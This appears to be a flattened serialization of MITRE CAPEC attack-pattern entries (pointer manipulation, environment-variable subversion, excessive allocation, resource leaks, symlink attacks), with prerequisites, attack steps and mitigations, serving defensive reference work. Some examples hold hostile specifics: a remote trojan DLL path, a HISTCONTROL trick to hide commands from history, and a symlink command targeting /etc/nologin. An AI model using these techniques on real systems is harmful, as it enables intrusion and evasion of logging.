#indRelatedAttackPatternRelatedAttackPattern3156 + Related_Attack_Pattern_3156 + + + + + + + + + + + + + + 153 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must have an integer variable for which only some of the possible integer values are expected by the application and where there are no checks on the value of the variable before use.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to manipulate the targeted integer variable such that normal operations result in non-standard values due to the storage structure of integers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 682 + + + + + + + + + + + + #indContentHistoryContentHistory3168 + Content_History_3168 + + + + + + + + + + + + + + + + #indSubmissionSubmission3169 + Submission_3169 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3174 + Modification_3174 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3180 + Modification_3180 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #CAPEC-129 + Pointer Manipulation + + + + + + + + + 129 + + + + + Pointer Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern involves an adversary manipulating a pointer within a target application resulting in the application accessing an unintended memory location. This can result in the crashing of the application or, for certain pointer values, access to data that would not normally be possible or the execution of arbitrary code. Since pointers are simply integer variables, Integer Attacks may often be used in Pointer Attacks.</xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must have a pointer variable that the attacker can influence to hold an arbitrary value.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 682 + + + + + 822 + + + + + 823 + + + + + + + + + + + + #indContentHistoryContentHistory3202 + Content_History_3202 + + + + + + + + + + + + + + + + #indSubmissionSubmission3203 + Submission_3203 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3208 + Modification_3208 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3214 + Modification_3214 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification3220 + Modification_3220 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName3226 + Previous_Entry_Name_3226 + + + + + + + + + 2017-01-09 + + + + + Pointer Attack + + + + + + + + + + + + #CAPEC-13 + Subverting Environment Variable Values + + + + + + + + + 13 + + + + + Subverting Environment Variable Values + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3235 + Related_Attack_Pattern_3235 + + + + + + + + + + + + + + 77 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3236 + Related_Attack_Pattern_3236 + + + + + + + + + + + + + + 14 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3237 + Related_Attack_Pattern_3237 + + + + + + + + + + + + + + 10 + + + + + + + + + + + + #indAttackStepAttackStep3240 + Attack_Step_3240 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe target application] The adversary first probes the target application to determine important information about the target. This information could include types software used, software versions, what user input the application consumes, and so on. Most importantly, the adversary tries to determine what environment variables might be used by the underlying software, or even the application itself.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3245 + Attack_Step_3245 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find user-controlled environment variables] Using the information found by probing the application, the adversary attempts to manipulate any user-controlled environment variables they have found are being used by the application, or suspect are being used by the application, and observe the effects of these changes. If the adversary notices any significant changes to the application, they will know that a certain environment variable is important to the application behavior and indicates a possible attack vector.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Alter known environment variables such as "$PATH", "$HOSTNAME", or "LD_LIBRARY_PATH" and see if application behavior changes.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3251 + Attack_Step_3251 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate user-controlled environment variables] The adversary manipulates the found environment variable(s) to abuse the normal flow of processes or to gain access to privileged resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An environment variable is accessible to the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An environment variable used by the application can be tainted with user supplied data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Input data used in an environment variable is not validated properly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The variables encapsulation is not done properly. For instance setting a variable as public in a class makes it visible and an adversary may attempt to manipulate that variable.</xhtml:div> + + + + + + + + + + + + #indSkillSkill3264 + Skill_3264 + + + + + + + + + + + + + + In a web based scenario, the client controls the data that it submitted to the server. So anybody can try to send malicious data and try to bypass the authentication mechanism. + + + + + + + + + + + + #indSkillSkill3265 + Skill_3265 + + + + + + + + + + + + + + Some more advanced attacks may require knowledge about protocols and probing technique which help controlling a variable. The malicious user may try to understand the authentication mechanism in order to defeat it. + + + + + + + + + + + + #indConsequenceConsequence3268 + Consequence_3268 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3275 + Consequence_3275 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3281 + Consequence_3281 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3285 + Consequence_3285 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3289 + Consequence_3289 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Protect environment variables against unauthorized read and write access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Protect the configuration files which contain environment variables against illegitimate read and write access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Apply the least privilege principles. If a process has no legitimate reason to read an environment variable do not give that privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the adversary upload the Trojan library to a specific location on the target. As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as \\\\172.16.2.100\\shared_files\\trojan_dll.dll. See also: Path Manipulation (CVE-1999-0073)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.</xhtml:div> + + + + + 353 + + + + + 285 + + + + + 302 + + + + + 74 + + + + + 15 + + + + + 73 + + + + + 20 + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesImpairCommandHistoryLogging + Impair Defenses:Impair Command History Logging + + + + + + + + + + + + + + 1562.003 + + + + + Impair Defenses:Impair Command History Logging + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowDynamicLinkerHijacking + Hijack Execution Flow:Dynamic Linker Hijacking + + + + + + + + + + + + + + 1574.006 + + + + + Hijack Execution Flow:Dynamic Linker Hijacking + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowPathInterceptionByPATHEnvironmentVariable + Hijack Execution Flow:Path Interception by PATH Environment Variable + + + + + + + + + + + + + + 1574.007 + + + + + Hijack Execution Flow:Path Interception by PATH Environment Variable + + + + + + + + + + + + #indReferenceReference3329 + Reference_3329 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory3331 + Content_History_3331 + + + + + + + + + + + + + + + + #indSubmissionSubmission3332 + Submission_3332 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3337 + Modification_3337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3343 + Modification_3343 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Examples-Instances, References + + + + + + + + + + + + #indModificationModification3349 + Modification_3349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification3355 + Modification_3355 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3361 + Modification_3361 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3367 + Modification_3367 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3373 + Modification_3373 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Prerequisites + + + + + + + + + + + + #CAPEC-130 + Excessive Allocation + + + + + + + + + 130 + + + + + Excessive Allocation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must accept service requests from the attacker and the adversary must be able to control the resource allocation associated with this request to be in excess of the normal allocation. The latter is usually accomplished through the presence of a bug on the target that allows the adversary to manipulate variables used in the allocation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3392 + Consequence_3392 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful excessive allocation attack forces the target system to exhaust its resources, thereby compromising the availability of its service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit the amount of resources that are accessible to unprivileged users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Consider all potentially relevant properties when validating input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider uniformly throttling all requests in order to make it more difficult to consume resources more quickly than they can again be freed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use resource-limiting settings, if possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In an Integer Attack, the adversary could cause a variable that controls allocation for a request to hold an excessively large value. Excessive allocation of resources can render a service degraded or unavailable to legitimate users and can even lead to crashing of the target.</xhtml:div> + + + + + 404 + + + + + 770 + + + + + 1325 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceApplicationExhaustionFlood + Endpoint Denial of Service:Application Exhaustion Flood + + + + + + + + + + + + + + 1499.003 + + + + + Endpoint Denial of Service:Application Exhaustion Flood + + + + + + + + + + + + #indTaxonomyMappingDenialOfService + Denial of Service + + + + + + + + + + + + + + 10 + + + + + Denial of Service + + + + + + + + + + + + #indContentHistoryContentHistory3422 + Content_History_3422 + + + + + + + + + + + + + + + + #indSubmissionSubmission3423 + Submission_3423 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3428 + Modification_3428 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Examples-Instances, Injection_Vector, Payload, Payload_Activation_Impact, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification3434 + Modification_3434 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification3440 + Modification_3440 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3446 + Modification_3446 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-131 + Resource Leak Exposure + + + + + + + + + 131 + + + + + Resource Leak Exposure + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary utilizes a resource leak on the target to deplete the quantity of the resource available to service legitimate requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Resource leaks most often come in the form of memory leaks where memory is allocated but never released after it has served its purpose, however, theoretically, any other resource that can be reserved can be targeted if the target fails to release the reservation when the reserved resource block is no longer needed.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this attack, the adversary determines what activity results in leaked resources and then triggers that activity on the target. Since some leaks may be small, this may require a large number of requests by the adversary. However, this attack differs from a flooding attack in that the rate of requests is generally not significant. This is because the lost resources due to the leak accumulate until the target is reset, usually by restarting it. Thus, a resource-poor adversary who would be unable to flood the target can still utilize this attack.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Resource depletion through leak differs from resource depletion through allocation in that, in the former, the adversary may not be able to control the size of each leaked allocation, but instead allows the leak to accumulate until it is large enough to affect the target's performance. When depleting resources through allocation, the allocated resource may eventually be released by the target so the attack relies on making sure that the allocation size itself is prohibitive of normal operations by the target.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must have a resource leak that the adversary can repeatedly trigger.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3470 + Consequence_3470 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful resource leak exposure attack compromises the availability of the target system's services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If possible, leverage coding language(s) that do not allow this weakness to occur (e.g., Java, Ruby, and Python all perform automatic garbage collection that releases memory for objects that have been deallocated).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Memory should always be allocated/freed using matching functions (e.g., malloc/free, new/delete, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement best practices with respect to memory management, including the freeing of all allocated resources at all exit points and ensuring consistency with how and where memory is freed in a function.</xhtml:div> + + + + + 404 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfService + Endpoint Denial of Service + + + + + + + + + + + + + + 1499 + + + + + Endpoint Denial of Service + + + + + + + + + + + + #indTaxonomyMappingDenialOfService + Denial of Service + + + + + + + + + + + + + + 10 + + + + + Denial of Service + + + + + + + + + + + + #indContentHistoryContentHistory3495 + Content_History_3495 + + + + + + + + + + + + + + + + #indSubmissionSubmission3496 + Submission_3496 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3501 + Modification_3501 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification3507 + Modification_3507 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification3513 + Modification_3513 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3519 + Modification_3519 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3525 + Modification_3525 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3531 + Modification_3531 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-132 + Symlink Attack + + + + + + + + + 132 + + + + + Symlink Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The endpoint file may be either output or input. If the file is output, the result is that the endpoint is modified, instead of a file at the intended location. Modifications to the endpoint file may include appending, overwriting, corrupting, changing permissions, or other modifications.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In some variants of this attack the adversary may be able to control the change to a file while in other cases they cannot. The former is especially damaging since the adversary may be able to grant themselves increased privileges or insert false information, but the latter can also be damaging as it can expose sensitive information or corrupt or destroy vital system or application files. Alternatively, the endpoint file may serve as input to the targeted application. This can be used to feed malformed input into the target or to cause the target to process different information, possibly allowing the adversary to control the actions of the target or to cause the target to expose information to the adversary. Moreover, the actions taken on the endpoint file are undertaken with the permissions of the targeted user or application, which may exceed the permissions that the adversary would normally have.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3548 + Related_Attack_Pattern_3548 + + + + + + + + + + + + + + 159 + + + + + + + + + + + + #indAttackStepAttackStep3551 + Attack_Step_3551 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Target] Adversary identifies the target application by determining whether there is sufficient check before writing data to a file and creating symlinks to files in different directories.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary writes to files in different directories to check whether the application has sufficient checking before file operations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary creates symlinks to files in different directories.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3558 + Attack_Step_3558 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Try to create symlinks to different files] The adversary then uses a variety of techniques, such as monitoring or guessing to create symlinks to the files accessed by the target application in the directories which are identified in the explore phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the adversary can delay the operations by using "sleep(2)" and "usleep()" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary may need a little guesswork on the filenames on which the target application would operate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary tries to create symlinks to the various filenames.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3566 + Attack_Step_3566 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Target application operates on created symlinks to sensitive files] The adversary is able to create symlinks to sensitive files while the target application is operating on the file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create the symlink to the sensitive file such as configuration files, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must perform the desired activities on a file without checking whether the file is a symbolic link or not. The adversary must be able to predict the name of the file the target application is modifying and be able to create a new symbolic link where that file would appear.</xhtml:div> + + + + + + + + + + + + #indSkillSkill3577 + Skill_3577 + + + + + + + + + + + + + + To create symlinks + + + + + + + + + + + + #indSkillSkill3578 + Skill_3578 + + + + + + + + + + + + + + To identify the files and create the symlinks during the file operation time window + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. The only requirement is the ability to create the necessary symbolic link.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3584 + Consequence_3584 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3589 + Consequence_3589 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3593 + Consequence_3593 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3597 + Consequence_3597 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3601 + Consequence_3601 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3606 + Consequence_3606 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3613 + Consequence_3613 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence3618 + Consequence_3618 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Check for the existence of files to be created, if in existence verify they are neither symlinks nor hard links before opening them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use randomly generated file names for temporary files. Give the files restrictive permissions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary creates a symlink with the "same" name as the file which the application is intending to write to. The application will write to the file- "causing the data to be written where the symlink is pointing". An attack like this can be demonstrated as follows:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;root# vulprog myFile&lt;xhtml:div&gt; + &lt;xhtml:i&gt;{...program does some processing...]&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;adversary# ln –s /etc/nologin myFile&lt;xhtml:div&gt; + &lt;xhtml:i&gt;[...program writes to 'myFile', which points to /etc/nologin...]&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the above example, the root user ran a program with poorly written file handling routines, providing the filename "myFile" to vulnprog for the relevant data to be written to. However, the adversary happened to be looking over the shoulder of "root" at the time, and created a link from myFile to /etc/nologin. The attack would make no user be able to login.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 59 + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonAutostartExecutionShortcutModification + Boot or Logon Autostart Execution:Shortcut Modification + + + + + + + + + + + + + + 1547.009 + + + + + Boot or Logon Autostart Execution:Shortcut Modification + + + + + + + + + + + + #indReferenceReference3650 + Reference_3650 + + + + + + + + + REF-13 + + + + + + + + + + + + #indContentHistoryContentHistory3652 + Content_History_3652 + + + + + + + + + + + + + + + + #indSubmissionSubmission3653 + Submission_3653 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3658 + Modification_3658 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification3664 + Modification_3664 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification3670 + Modification_3670 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification3676 + Modification_3676 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3682 + Modification_3682 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Extended_Description, Prerequisites + + + + + + + + + + + + #indModificationModification3688 + Modification_3688 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-133 + Try All Common Switches + + + + + + + + + 133 + + + + + Try All Common Switches + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker attempts to invoke all common switches and options in the target application for the purpose of discovering weaknesses in the target. For example, in some applications, adding a --debug switch causes debugging information to be displayed, which can sometimes reveal sensitive processing or configuration information to an attacker. This attack differs from other forms of API abuse in that the attacker is indiscriminately attempting to invoke options in the hope that one of them will work rather than specifically targeting a known option. Nonetheless, even if the attacker is familiar with the published options of a targeted application this attack method may still be fruitful as it might discover unpublicized functionality.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3700 + Related_Attack_Pattern_3700 + + + + + + + + + + + + + + 113 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep3705 + Attack_Step_3705 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify application] Discover an application of interest by exploring service registry listings or by connecting on a known port or some similar 